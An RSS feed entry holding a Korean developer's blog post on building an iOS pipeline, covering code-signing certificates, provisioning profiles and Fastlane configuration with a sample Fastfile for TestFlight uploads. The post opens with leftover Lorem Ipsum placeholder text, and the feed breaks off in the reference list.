<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Tech &#8211; WONIZZ.LOG</title>
	<atom:link href="https://blog.wonizz.com/category/tech/feed/" rel="self" type="application/rss+xml" />
	<link>https://blog.wonizz.com</link>
	<description>DEVELOPMENT &#38; LIFE LOG</description>
	<lastBuildDate>Fri, 21 Aug 2026 15:44:26 +0000</lastBuildDate>
	<language>ko-KR</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.0.2</generator>

<image>
	<url>https://i0.wp.com/blog.wonizz.com/wp-content/uploads/2026/08/wz-siteicon-512.png?fit=32%2C32&#038;ssl=1</url>
	<title>Tech &#8211; WONIZZ.LOG</title>
	<link>https://blog.wonizz.com</link>
	<width>32</width>
	<height>32</height>
</image> 
<site xmlns="com-wordpress:feed-additions:1">152411368</site>	<item>
		<title>[DevOps] IOS 빌드 파이프라인 구성</title>
		<link>https://blog.wonizz.com/2024/08/21/devops-ios-build-pipeline/</link>
					<comments>https://blog.wonizz.com/2024/08/21/devops-ios-build-pipeline/#respond</comments>
		
		<dc:creator><![CDATA[워니]]></dc:creator>
		<pubDate>Wed, 21 Aug 2024 06:58:00 +0000</pubDate>
				<category><![CDATA[Tech]]></category>
		<guid isPermaLink="false">https://blog.wonizz.com/?p=2293</guid>

					<description><![CDATA[<p>The standard Lorem Ipsum passage, used since the 1500s<br />
"Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum."</p>
<p>Section 1.10.32 of "de Finibus Bonorum et Malorum", written by Cicero in 45 BC<br />
"Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore veritatis et quasi architecto beatae vitae dicta sunt explicabo. Nemo enim ipsam voluptatem quia voluptas sit aspernatur aut odit aut fugit, sed quia consequuntur magni dolores eos qui ratione voluptatem sequi nesciunt. Neque porro quisquam est, qui dolorem ipsum quia dolor sit amet, consectetur, adipisci velit, sed quia non numquam eius modi tempora incidunt ut labore et dolore magnam aliquam quaerat voluptatem. Ut enim ad minima veniam, quis nostrum exercitationem ullam corporis suscipit laboriosam, nisi ut aliquid ex ea commodi consequatur? Quis autem vel eum iure reprehenderit qui in ea voluptate velit esse quam nihil molestiae consequatur, vel illum qui dolorem eum fugiat quo voluptas nulla pariatur?"</p>
<p>1914 translation by H. Rackham<br />
"But I must explain to you how all this mistaken idea of denouncing pleasure and praising pain was born and I will give you a complete account of the system, and expound the actual teachings of the great explorer of the truth, the master-builder of human happiness. No one rejects, dislikes, or avoids pleasure itself, because it is pleasure, but because those who do not know how to pursue pleasure rationally encounter consequences that are extremely painful. Nor again is there anyone who loves or pursues or desires to obtain pain of itself, because it is pain, but because occasionally circumstances occur in which toil and pain can procure him some great pleasure. To take a trivial example, which of us ever undertakes laborious physical exercise, except to obtain some advantage from it? But who has any right to find fault with a man who chooses to enjoy a pleasure that has no annoying consequences, or one who avoids a pain that produces no resultant pleasure?"</p>
<p>Section 1.10.33 of "de Finibus Bonorum et Malorum", written by Cicero in 45 BC<br />
"At vero eos et accusamus et iusto odio dignissimos ducimus qui blanditiis praesentium voluptatum deleniti atque corrupti quos dolores et quas molestias excepturi sint occaecati cupiditate non provident, similique sunt in culpa qui officia deserunt mollitia animi, id est laborum et dolorum fuga. Et harum quidem rerum facilis est et expedita distinctio. Nam libero tempore, cum soluta nobis est eligendi optio cumque nihil impedit quo minus id quod maxime placeat facere possimus, omnis voluptas assumenda est, omnis dolor repellendus. Temporibus autem quibusdam et aut officiis debitis aut rerum necessitatibus saepe eveniet ut et voluptates repudiandae sint et molestiae non recusandae. Itaque earum rerum hic tenetur a sapiente delectus, ut aut reiciendis voluptatibus maiores alias consequatur aut perferendis doloribus asperiores repellat."</p>
<p>1914 translation by H. Rackham<br />
"On the other hand, we denounce with righteous indignation and dislike men who are so beguiled and demoralized by the charms of pleasure of the moment, so blinded by desire, that they cannot foresee the pain and trouble that are bound to ensue; and equal blame belongs to those who fail in their duty through weakness of will, which is the same as saying through shrinking from toil and pain. These cases are perfectly simple and easy to distinguish. In a free hour, when our power of choice is untrammelled and when nothing prevents our being able to do what we like best, every pleasure is to be welcomed and every pain avoided. But in certain circumstances and owing to the claims of duty or the obligations of business it will frequently occur that pleasures have to be repudiated and annoyances accepted. The wise man therefore always holds in these matters to this principle of selection: he rejects pleasures to secure other greater pleasures, or else he endures pains to avoid worse pains."</p>
<p>안녕하세요? 정리하는 개발자 워니즈입니다. 필자는 웹서비스 운영에 대해서 경험을 갖고 있습니다. DevOps업무도 여기에 국한되어 있는데요. 최근에 프로젝트에서 App Build 파이프라인이 필요하였습니다. 영역을 확장하는 것도 있고 AOS/IOS 빌드 파이프라인에 대해서도 궁금했었습니다. 오늘의 포스팅은 IOS에 대한 빌드 구성을 진행하면서 학습했던 내용들에 대해서 정리를 해보려고합니다. 1. Appstore에 초대 처음 IOS 개발을 진행하면 배포에 대해서 궁금해질텐데요. AOS/IOS는 각자 맞는&#8230;&#160;</p>
<p>The post <a rel="nofollow" href="https://blog.wonizz.com/2024/08/21/devops-ios-build-pipeline/">[DevOps] IOS 빌드 파이프라인 구성</a> appeared first on <a rel="nofollow" href="https://blog.wonizz.com">WONIZZ.LOG</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>The standard Lorem Ipsum passage, used since the 1500s<br />
"Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum."</p>
<p>Section 1.10.32 of "de Finibus Bonorum et Malorum", written by Cicero in 45 BC<br />
"Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore veritatis et quasi architecto beatae vitae dicta sunt explicabo. Nemo enim ipsam voluptatem quia voluptas sit aspernatur aut odit aut fugit, sed quia consequuntur magni dolores eos qui ratione voluptatem sequi nesciunt. Neque porro quisquam est, qui dolorem ipsum quia dolor sit amet, consectetur, adipisci velit, sed quia non numquam eius modi tempora incidunt ut labore et dolore magnam aliquam quaerat voluptatem. Ut enim ad minima veniam, quis nostrum exercitationem ullam corporis suscipit laboriosam, nisi ut aliquid ex ea commodi consequatur? Quis autem vel eum iure reprehenderit qui in ea voluptate velit esse quam nihil molestiae consequatur, vel illum qui dolorem eum fugiat quo voluptas nulla pariatur?"</p>
<p>1914 translation by H. Rackham<br />
"But I must explain to you how all this mistaken idea of denouncing pleasure and praising pain was born and I will give you a complete account of the system, and expound the actual teachings of the great explorer of the truth, the master-builder of human happiness. No one rejects, dislikes, or avoids pleasure itself, because it is pleasure, but because those who do not know how to pursue pleasure rationally encounter consequences that are extremely painful. Nor again is there anyone who loves or pursues or desires to obtain pain of itself, because it is pain, but because occasionally circumstances occur in which toil and pain can procure him some great pleasure. To take a trivial example, which of us ever undertakes laborious physical exercise, except to obtain some advantage from it? But who has any right to find fault with a man who chooses to enjoy a pleasure that has no annoying consequences, or one who avoids a pain that produces no resultant pleasure?"</p>
<p>Section 1.10.33 of "de Finibus Bonorum et Malorum", written by Cicero in 45 BC<br />
"At vero eos et accusamus et iusto odio dignissimos ducimus qui blanditiis praesentium voluptatum deleniti atque corrupti quos dolores et quas molestias excepturi sint occaecati cupiditate non provident, similique sunt in culpa qui officia deserunt mollitia animi, id est laborum et dolorum fuga. Et harum quidem rerum facilis est et expedita distinctio. Nam libero tempore, cum soluta nobis est eligendi optio cumque nihil impedit quo minus id quod maxime placeat facere possimus, omnis voluptas assumenda est, omnis dolor repellendus. Temporibus autem quibusdam et aut officiis debitis aut rerum necessitatibus saepe eveniet ut et voluptates repudiandae sint et molestiae non recusandae. Itaque earum rerum hic tenetur a sapiente delectus, ut aut reiciendis voluptatibus maiores alias consequatur aut perferendis doloribus asperiores repellat."</p>
<p>1914 translation by H. Rackham<br />
"On the other hand, we denounce with righteous indignation and dislike men who are so beguiled and demoralized by the charms of pleasure of the moment, so blinded by desire, that they cannot foresee the pain and trouble that are bound to ensue; and equal blame belongs to those who fail in their duty through weakness of will, which is the same as saying through shrinking from toil and pain. These cases are perfectly simple and easy to distinguish. In a free hour, when our power of choice is untrammelled and when nothing prevents our being able to do what we like best, every pleasure is to be welcomed and every pain avoided. But in certain circumstances and owing to the claims of duty or the obligations of business it will frequently occur that pleasures have to be repudiated and annoyances accepted. The wise man therefore always holds in these matters to this principle of selection: he rejects pleasures to secure other greater pleasures, or else he endures pains to avoid worse pains."</p>
안녕하세요? 정리하는 개발자 워니즈입니다. 필자는 웹서비스 운영에 대해서 경험을 갖고 있습니다. DevOps업무도 여기에 국한되어 있는데요. 최근에 프로젝트에서 <strong>App Build</strong> 파이프라인이 필요하였습니다. 영역을 확장하는 것도 있고 AOS/IOS 빌드 파이프라인에 대해서도 궁금했었습니다. 오늘의 포스팅은 IOS에 대한 빌드 구성을 진행하면서 학습했던 내용들에 대해서 정리를 해보려고합니다.

<h2>1. Appstore에 초대</h2>

처음 IOS 개발을 진행하면 <strong>배포</strong>에 대해서 궁금해질텐데요. AOS/IOS는 각자 맞는 플랫폼에 배포를 진행해야 합니다. IOS는 Appstore에 배포를 하게 되는데요. 사내에 Apple Developer 회사 계정이 있어서 Team내에 초대가 되었고 이를 통해서 필요한 개념들을 확인할 수 있었습니다.

<img data-recalc-dims="1" decoding="async" src="https://i0.wp.com/blog.wonizz.com/wp-content/uploads/2024/08/ios_build_0.png?w=1200&#038;ssl=1" alt="ios_build_0" />

필자는 위의 캡쳐처럼 기준을 세웠습니다.

<ul>
<li>Appstore Connect의 <code>앱</code> 영역은 개발자가 직접 생성한다.</li>
<li>인증서, ID 및 프로파일의 <code>식별자(영문)</code>은 개발자가 직접 생성한다.</li>
</ul>

이외에 빌드와 관련한 정보는 DevOps에서 생성 관리하기로 했습니다.

<ul>
<li><code>인증서(영문)</code></li>
<li><code>기기(영문)</code></li>
<li><code>프로파일(영문)</code></li>
</ul>

그러면 이러한 개념들에 대해서 간단히 정리를 해보도록 하겠습니다.

<h2>2. 인증서, 프로파일이란?</h2>

인증서? 기존에 웹서비스 운영을 하다보면 https 프로토콜을 지원하기 위한 사이트 인증의 개념으로만 생각했었습니다. 대체 IOS앱 빌드를 할 때 어떠한 부분에서 인증서가 필요한지 궁금해졌습니다.

<h3>1) 애플에서의 인증서 개념</h3>

인증서는 애플이 개발자를 신뢰할 수 있는 보증서입니다. 여기서 <code>코드 서명</code>이라는 개념과 연결이 되는데요. 애플에서 발행한 인증서를 통해서 <strong>코드를 디지털 서명하는 과정</strong>을 거치게 됩니다.

인증서를 생성해보겠습니다.

<h4>인증서 생성 과정</h4>

<ol>
<li><strong>Certificate Signing Request (CSR) 생성</strong>:
<img data-recalc-dims="1" decoding="async" src="https://i0.wp.com/blog.wonizz.com/wp-content/uploads/2024/08/ios_build_2.png?w=1200&#038;ssl=1" alt="ios_build_2" /></li>
</ol>

<ul>
<li>MAC의 keychain 앱 실행 → 키체인 접근 → 인증서 지원 → 인증 기관에서 인증서 요청</p></li>
<li>로컬 시스템에서 개인 키와 CSR 파일을 생성합니다.</p></li>
<li>CSR 파일은 공개 키와 요청자의 정보를 포함하며, Apple Developer Portal에서 인증서를 생성하는 데 사용됩니다.</li>
</ul>

<ol start="2">
<li><strong>CSR 파일 제출</strong>:</li>
</ol>

<ul>
<li>Apple Developer Portal에 CSR 파일을 제출하여 인증서를 생성합니다.</li>
</ul>

<ol start="3">
<li><strong>인증서 다운로드</strong>:</li>
</ol>

<ul>
<li>Apple Developer Portal에서 생성된 인증서 (<code>.cer</code> 파일)를 다운로드합니다.</li>
</ul>

<ol start="4">
<li><strong>인증서 설치</strong>:</li>
</ol>

<ul>
<li>다운로드한 <code>.cer</code> 파일을 로컬 시스템에 설치합니다.</li>
<li>이 과정에서 공개 키와 개인 키가 로컬 키체인에 연결됩니다.</li>
</ul>

<h4>P12로 인증서 내보내기</h4>

<ol>
<li>인증서를 다운로드하면 .cer 파일이 다운로드 됩니다. 이것만으로는 인증서로부터 인증을 할 수 없습니다. 더블클릭합니다.</li>
<li>키체인에 접속을 합니다. 로그인 > 내 인증서 > 생성한 인증서 우클릭 <strong>내보내기</strong> 클릭</li>
<li><strong>개인 정보 교확(p.12)</strong>를 선택하고 저장하면 내보내기가 수행됩니다.</li>
</ol>

개발자간에 <code>인증서</code>, <code>프로파일</code>을 공유하기 위해서는 <code>.cer</code>파일과 <code>.p12</code>파일을 전달 해야 합니다.

<h3>2) 애플에서의 프로파일 개념</h3>

위의 과정을 통해서 앱 인증을 했다고 모든 Device에서 설치가 가능할까요? 아닙니다. 여기서 Profile에 대한 개념을 알아야 합니다.

프로비저닝 프로파일 안에 앱 실행에 필요한 App ID 라든지, Entitlement, Certificate, Device ID 정보들을 담아두고, 실제로 구동되는 디바이스 환경이 이 조건에 부합하면 그제서야 앱 실행을 허용합니다. 이런 온갖 제약 조건, 즉 디바이스 내에서 앱을 실행하기 위한 규칙을 모아놓은 것이 바로 “<strong>프로비저닝 프로파일</strong>” 입니다.

<em>프로비저닝 프로파일은 <strong>app id</strong>, <strong>certificate</strong>, <strong>device</strong>정보를 가지고 있어, iOS기기 애플 인증서를 연결 해주는 역할</em>

<img data-recalc-dims="1" decoding="async" src="https://i0.wp.com/blog.wonizz.com/wp-content/uploads/2024/08/ios_build_3.png?w=1200&#038;ssl=1" alt="ios_build_3" />

Provisioning Profile에는 위의 그림처럼 3가지가 들어가게됩니다.

<ol>
<li>App ID : 앱 스토어에 등록될 Bundle ID가 등록.</li>
<li>Certificate : 위에서 만들었던 인증서.</li>
<li>Device : 디바이스의 UDID</li>
</ol>

초기 App을 생성하기 위해서는 App ID를 신규로 생성해야 합니다. 허용가능한 Device 목록을 정의하기 위해서는 UDID를 통해서 Device 등록이 필요합니다.

xcode에서도  확인을 하면 아래와 같이 Provisioning Profile을 수동 지정할 수 있는것을 확인하게 됩니다.

<img data-recalc-dims="1" decoding="async" src="https://i0.wp.com/blog.wonizz.com/wp-content/uploads/2024/08/ios_build_4.png?w=1200&#038;ssl=1" alt="ios_build_4" />

만약, Device의 추가나 삭제 혹은 변경이 있어서 Profile을 업데이트해줘야 할때는 어떻게 해야할까요? 기존의 내용을 삭제 하고 신규로 생성을 해주면 됩니다. 다음의 블로그에 정리가 잘 되어있어서 참고하겠습니다.

<ul>
<li><a class="wp-editor-md-post-content-link" href="https://medium.com/jinshine-%EA%B8%B0%EC%88%A0-%EB%B8%94%EB%A1%9C%EA%B7%B8/%EC%BD%94%EB%93%9C%EC%82%AC%EC%9D%B4%EB%8B%9D-%EC%9D%B8%EC%A6%9D%EC%84%9C-%ED%94%84%EB%A1%9C%EB%B9%84%EC%A0%80%EB%8B%9D-%ED%94%84%EB%A1%9C%ED%8C%8C%EC%9D%BC%EC%9D%B4%EB%9E%80-2bd2c652d00f" target="_blank" rel="noopener">신규 Profile 생성</a></li>
</ul>

<h2>3. Fastlane을 통한 자동화</h2>

그럼 이제 빌드를 하기 위해서 <code>인증서</code>, <code>프로파일</code>이 모두 준비 되었습니다. 이상태에서는 로컬에서 충분히 빌드가 가능할 것입니다. 하지만 DevOps에서는 자동화 파이프라인을 제공해주기 위해 <strong>Fastlane</strong>을 도입하기로 했습니다.

Fastlane은 iOS 및 Android 앱 배포와 관련된 반복 작업을 자동화하는 도구입니다. Fastlane을 사용하면 코드 서명, 빌드, 테스트, 배포 등의 작업을 쉽게 자동화할 수 있습니다. Fastlane 설정 파일에는 <strong><code>Appfile</code></strong>, <strong><code>Fastfile</code></strong>, <strong><code>Matchfile</code></strong> 등이 포함되며, 각각의 역할은 다음과 같습니다

<ul>
<li><strong>Appfile</strong>: 앱의 기본 설정을 정의합니다. (앱 식별자, Apple ID, 팀 ID 등)</li>
<li><strong>Fastfile</strong>: 다양한 작업(workflow)을 정의합니다. (빌드, 테스트, 배포 등)</li>
<li><strong>Matchfile</strong>: <strong><code>match</code></strong> 기능과 관련된 설정을 정의합니다. (코드 서명 인증서 및 프로비저닝 프로파일 관리)</li>
</ul>

<h3>Fastlane 설치 및 사용법</h3>

<h4>설치</h4>

<pre><code class="language-bash line-numbers"># brew 이용하여 설치
brew install fastlane

# version 확인
fastlane --version

2024/5/28 iMac(AD01965998) 설치 버전 : 2.220.0
(path: /usr/local/Cellar/fastlane/2.220.0/libexec/gems/fastlane-2.220.0/bin/fastlane)
</code></pre>

<h4><strong>Appfile</strong></h4>

<strong><code>Appfile</code></strong>은 Fastlane 프로젝트의 기본 설정을 정의하는 파일입니다. 주로 앱의 식별자와 관련된 정보를 포함합니다.

<strong>예시: <code>Appfile</code></strong>

<pre><code class="language-ruby line-numbers">app_identifier("com.example.myapp")# 앱의 번들 식별자
apple_id("your_email@example.com")# Apple Developer 계정 이메일

team_id("YOUR_TEAM_ID")# Apple Developer 팀 ID
</code></pre>

<ul>
<li><strong><code>app_identifier</code></strong>: 앱의 번들 식별자입니다. Xcode 프로젝트의 <strong><code>General</code></strong> 탭에서 찾을 수 있습니다.</li>
<li><strong><code>apple_id</code></strong>: Apple Developer 계정 이메일입니다.</li>
<li><strong><code>team_id</code></strong>: Apple Developer 팀 ID입니다. Apple Developer 계정에서 확인할 수 있습니다.</li>
</ul>

<h4><strong>Fastfile</strong></h4>

<strong><code>Fastfile</code></strong>은 Fastlane의 핵심 파일로, 다양한 작업(workflow)을 정의합니다. Fastlane 명령어를 사용하여 빌드, 테스트, 배포 등의 작업을 자동화할 수 있습니다.

<strong>예시: <code>Fastfile</code></strong>

<pre><code class="language-ruby line-numbers">ruby코드 복사
default_platform(:ios)

platform :ios do
  desc "Build and release a new version to the App Store"
  lane :release do
    match(type: "appstore")# 코드 서명 인증서 및 프로비저닝 프로파일 관리
    build_app(scheme: "MyApp")# 앱 빌드
    upload_to_app_store# App Store Connect에 업로드
  end

  desc "Run unit tests"
  lane :test do
    scan(scheme: "MyApp")# 유닛 테스트 실행
  end
end
</code></pre>

<ul>
<li><strong><code>default_platform</code></strong>: 기본 플랫폼을 설정합니다. 여기서는 <strong><code>:ios</code></strong>를 사용합니다.</li>
<li><strong><code>platform</code></strong>: 특정 플랫폼에 대한 작업을 정의합니다. <strong><code>:ios</code></strong> 또는 <strong><code>:android</code></strong>를 사용할 수 있습니다.</li>
<li><strong><code>lane</code></strong>: 작업(workflow)을 정의합니다. 예를 들어, <strong><code>release</code></strong> 레인은 앱을 빌드하고 App Store에 업로드하는 작업을 포함합니다.</li>
</ul>

<h4><strong>Matchfile</strong></h4>

<strong><code>Matchfile</code></strong>은 Fastlane의 <strong><code>match</code></strong> 기능과 관련된 설정을 정의합니다. <strong><code>match</code></strong>는 코드 서명 인증서와 프로비저닝 프로파일을 관리하고 공유하는 데 사용됩니다.

<strong>예시: <code>Matchfile</code></strong>

<pre><code class="language-ruby line-numbers">git_url("<https://github.com/your_username/certificates_repo.git>")# 인증서를 저장할 Git 리포지토리

storage_mode("git")# 인증서 저장 방식 (기본값은 "git")
type("appstore")# 인증서 유형 ("development", "appstore", "adhoc", "enterprise")

app_identifier(["com.example.myapp"])# 앱의 번들 식별자
username("your_email@example.com")# Apple Developer 계정 이메일
team_id("YOUR_TEAM_ID")# Apple Developer 팀 ID
</code></pre>

<ul>
<li><strong><code>git_url</code></strong>: 인증서와 프로비저닝 프로파일을 저장할 Git 리포지토리 URL입니다.</li>
<li><strong><code>storage_mode</code></strong>: 인증서 저장 방식을 설정합니다. 기본값은 &#8220;git&#8221;입니다.</li>
<li><strong><code>type</code></strong>: 인증서 유형을 설정합니다. 예를 들어, &#8220;development&#8221;, &#8220;appstore&#8221;, &#8220;adhoc&#8221;, &#8220;enterprise&#8221; 등이 있습니다.</li>
<li><strong><code>app_identifier</code></strong>: 앱의 번들 식별자입니다.</li>
<li><strong><code>username</code></strong>: Apple Developer 계정 이메일입니다.</li>
<li><strong><code>team_id</code></strong>: Apple Developer 팀 ID입니다.</li>
</ul>

이러한 파일들을 사용하여 Fastlane을 설정하면, iOS 앱의 빌드 및 배포 과정을 자동화하고 효율적으로 관리할 수 있습니다.

<h4>인증서 생성</h4>

<pre><code class="line-numbers">fastlane match nuke development
fastlane match nuke distribution
</code></pre>

<ul>
<li>match로 인증서를 생성하기 전에, <code>fastlane match nuke</code> 명령어로 기존 인증서들을 지울 수 있다. 필수사항은 아니지만 권장사항이다. 기존의 인증서들과 함께 새로운 인증서가 계속 쌓이게 되면 관리가 어렵기 때문이다.</li>
<li>*<strong>기존의 모든 인증서가 날라가기 때문에 충분히 의사소통 후 명령어를 사용해야 한다.</strong></li>
</ul>

<pre><code class="line-numbers">fastlane match appstore
fastlane match development
</code></pre>

<ul>
<li>이후 인증서를 새로 만든다.</li>
</ul>

<pre><code class="line-numbers">[17:38:29]: Make sure to remember the password, as you'll need it when you run match on a different machine
[17:38:29]: Passphrase for Match storage: ********
[17:40:40]: Type passphrase again: ********
</code></pre>

<ul>
<li>진행하다보면 <code>passphrase</code> 생성을 요구하는데, 다른 컴퓨터에서 match 를 실행할 때 필요하므로 잘 저장해둬야 한다. (Passphrase for Match storage -> match 비밀번호 설정) 위에서 설정한 .env 파일에 넣어두는 것도 방법이다.</li>
<li>인증서 생성이 완료되었다면, repository에 인증 파일이 생성되어 있는 걸 확인 할 수 있다.</li>
<li>다른 팀원들의 인증서와 프로비저닝 프로파일을 설정하기 위해서는 위의 private repository를 초대하고 <code>fastlane match development --readonly</code> 명령어를 통해 match 설정만 하면 된다.</li>
</ul>

<h2>4. 빌드를 해보자! ( Feat. Fastlane )</h2>

이제 모든 준비는 끝났습니다. <code>인증서</code>를 통해서 앱 인증을 하고, <code>프로파일</code>을 통해서 기기에서 실행이 가능한지를 확인할 수 있었습니다. 그리고 <code>Fastlane</code>을 통해서 IOS 앱 빌드를 수행하고, Appstore에 <code>testflight</code>로 업로드를 할 수 있도록 자동화를 하려고합니다.

<h3>빌드 파이프라인 구성도</h3>

<img data-recalc-dims="1" decoding="async" src="https://i0.wp.com/blog.wonizz.com/wp-content/uploads/2024/08/ios_build_5.png?w=1200&#038;ssl=1" alt="ios_build_5" />

파이프라인을 통해서 AOS/IOS를 빌드를 수행합니다. 이후에 사내에 존재하는 Internal System을 통해서 <code>apk</code>혹은 <code>IPA</code>파일을 업로드 합니다.

<code>fastlane</code>은 IOS에 대해서 사용자 선택에 따라서 <code>testflight</code>까지 자동 업로드 해줄 수 있도록 설정했습니다.이후에 Store에 출시하는것은 수동으로 수행하도록 기준을 정의했습니다.

<h3>Fastlane Fastfile 샘플</h3>

<pre><code class="language-bash line-numbers">default_platform(:ios)

# 공통 변수 설정
 api_key = app_store_connect_api_key(
   key_id: ENV['ASCAPI_KEY_ID'],
   issuer_id: ENV['ASCAPI_ISSUER_ID'],
   key_content: ENV['ASCAPI_KEY_CONTENT']
 )

archiveDir = '../build/ios/archive/Runner.xcarchive'
output_directory_beta = "../build/ios/output/beta"
output_directory_release = "../build/ios/output/release"
app_identifier_dev = "io.test.wallet.dev"
app_identifier_prod = "io.test.wallet"

platform :ios do
  desc "get latest testflight build number"
  lane :get_build_number do |options|
    app_identifier = options[:app_identifier]

    jenkins_build_number = ENV['JENKINS_BUILD_NUMBER'] || '0'
    main_version_number = ENV['MAIN_VERSION_NUMBER'] || '1.0.0'
    new_build_number = "#{jenkins_build_number}"
  end

  desc "create plist file for in-house deploy"
  lane :create_plist do |options|
    require 'plist'

    # 파라미터로부터 변수 값 설정
    plist_path = options[:plist_path]
    url = options[:url]
    bundle_identifier = options[:bundle_identifier]
    bundle_version = options[:bundle_version]
    app_title = options[:app_title]

    plist_content = {
      'items' => [
        {
          'assets' => [
            {
              'kind' => 'software-package',
              'url' => url
            }
          ],
          'metadata' => {
            'bundle-identifier' => bundle_identifier,
            'bundle-version' => bundle_version,
            'kind' => 'software',
            'title' => app_title
          }
        }
      ]
    }

    File.open(plist_path, 'w') do |file|
      file.write(plist_content.to_plist)
    end
  end

  desc "Upload to Testflight"
  lane :upload_into_testflight do |options|
    directory_path = options[:directory_path]
    app_identifier = options[:app_identifier]

    if ENV['UPLOAD_TO_TESTFLIGHT'] == 'true'
      pilot(
        skip_submission: true,
        ipa: "#{directory_path}/Runner.ipa",
        app_identifier: app_identifier,
        api_key: api_key
      )
    else
      puts "Skipping pilot step as UPLOAD_TO_TESTFLIGHT is not set to true."
    end
  end

  desc "Build BETA"
  lane :beta do
  get_build_number(app_identifier: app_identifier_dev)
  # 환경 변수에 따라 분기 처리
  if ENV['UPLOAD_TO_TESTFLIGHT'] == 'true'
      match(platform: "ios", type: "appstore", app_identifier: app_identifier_dev, readonly: true)
      clear_derived_data
      build_app(workspace: "Runner.xcworkspace", scheme: "dev", configuration: "Release-dev", archive_path: archiveDir, output_directory: output_directory_beta, export_method: 'app-store', export_options: {provisioningProfiles: {app_identifier_dev => "match AppStore #{app_identifier_dev}"}})
  else
      match(platform: "ios", type: "adhoc", app_identifier: app_identifier_dev, readonly: true)
      clear_derived_data
      build_app(workspace: "Runner.xcworkspace", scheme: "dev", configuration: "Release-dev", archive_path: archiveDir, output_directory: output_directory_beta, export_method: 'ad-hoc', export_options: {provisioningProfiles: {app_identifier_dev => "match AdHoc #{app_identifier_dev}"}})
  end
    create_plist(plist_path: "../" + output_directory_beta + "/Runner.plist", url: 'Change URL', bundle_identifier: app_identifier_dev, bundle_version: ENV['MAIN_VERSION_NUMBER'], app_title: 'Kaia Wallet')
    upload_into_testflight(directory_path: output_directory_beta, app_identifier: app_identifier_dev)
end

  desc "Build RELEASE"
  lane :release do
  get_build_number(app_identifier: app_identifier_prod)
  if ENV['UPLOAD_TO_TESTFLIGHT'] == 'true'
      match(platform: "ios", type: "appstore", app_identifier: app_identifier_prod, readonly: true)
      clear_derived_data
      build_app(workspace: "Runner.xcworkspace", scheme: "prod", configuration: "Release-prod", archive_path: archiveDir, output_directory: output_directory_release, export_method: 'app-store', export_options: {provisioningProfiles: {app_identifier_prod => "match AppStore #{app_identifier_prod}"}})
  else
      match(platform: "ios", type: "adhoc", app_identifier: app_identifier_prod, readonly: true)
      clear_derived_data
      build_app(workspace: "Runner.xcworkspace", scheme: "prod", configuration: "Release-prod", archive_path: archiveDir, output_directory: output_directory_release, export_method: 'ad-hoc', export_options: {provisioningProfiles: {app_identifier_prod => "match AdHoc #{app_identifier_prod}"}})
  end
    create_plist(plist_path: "../" + output_directory_release + "/Runner.plist", url: 'Change URL', bundle_identifier: app_identifier_prod, bundle_version: ENV['MAIN_VERSION_NUMBER'], app_title: 'Kaia Wallet')
    upload_into_testflight(directory_path: output_directory_release, app_identifier: app_identifier_prod)
  end
end
</code></pre>

빌드에 대한 순서는 다음과 같습니다.

<ul>
<li>get_build_number : mainversion + jenkins buildnumber ex) 2.3.0.93</li>
<li>match : 인증서, 프로파일 확인 및 동기화</li>
<li>clear_derived_data : 빌드시 생성한 임시 파일들 삭제</li>
<li>build_app : 아카이빙(빌드) 수행</li>
<li>create_plist : in-house 배포를 위한 plist 파일 생성</li>
<li>upload_into_testflight : 사용자 선택에 따라 testflight 업로드 수행</li>
</ul>

<h2>5. 마치며&#8230;</h2>

이번시간에는 IOS의 빌드 파이프라인을 구성하면서 알게 된 개념들에 대해서 정리를 해보았습니다. 처음에는 인증서, 프로파일 개념을 이해하는데 너무 힘들었습니다. 그리고 본격적으로 파이프라인 구성할떄에는 Fastlane개념도 이해하는데 힘들었습니다. 하지만 모든 과정들을 학습하고 적용하면서 IOS 빌드 과정을 이해할 수 있는 작업이였던 것 같습니다. 다음에는 간단하게 빌드 파이프라인을 구성하면서 맞이했던 이슈들에 대해서 처리하는 과정들에 대해서 정리를 해보도록 하겠습니다. 감사합니다.

<h2>6. 참조</h2>

<ul>
<li>Certificate &#038; Profile

<ul>
<li><a class="wp-editor-md-post-content-link" href="https://sujinnaljin.medium.com/ios-certificate-%EC%99%80-provisioning-profile-e1b9455e8a51" target="_blank" rel="noopener">[iOS] Certificate 와 Provisioning profile</a></li>
<li><a class="wp-editor-md-post-content-link" href="https://medium.com/jinshine-%EA%B8%B0%EC%88%A0-%EB%B8%94%EB%A1%9C%EA%B7%B8/%EC%BD%94%EB%93%9C%EC%82%AC%EC%9D%B4%EB%8B%9D-%EC%9D%B8%EC%A6%9D%EC%84%9C-%ED%94%84%EB%A1%9C%EB%B9%84%EC%A0%80%EB%8B%9D-%ED%94%84%EB%A1%9C%ED%8C%8C%EC%9D%BC%EC%9D%B4%EB%9E%80-2bd2c652d00f" target="_blank" rel="noopener">코드사이닝, 인증서, 프로비저닝 프로파일이란?</a></li>
</ul></li>
<li>Fastlane

<ul>
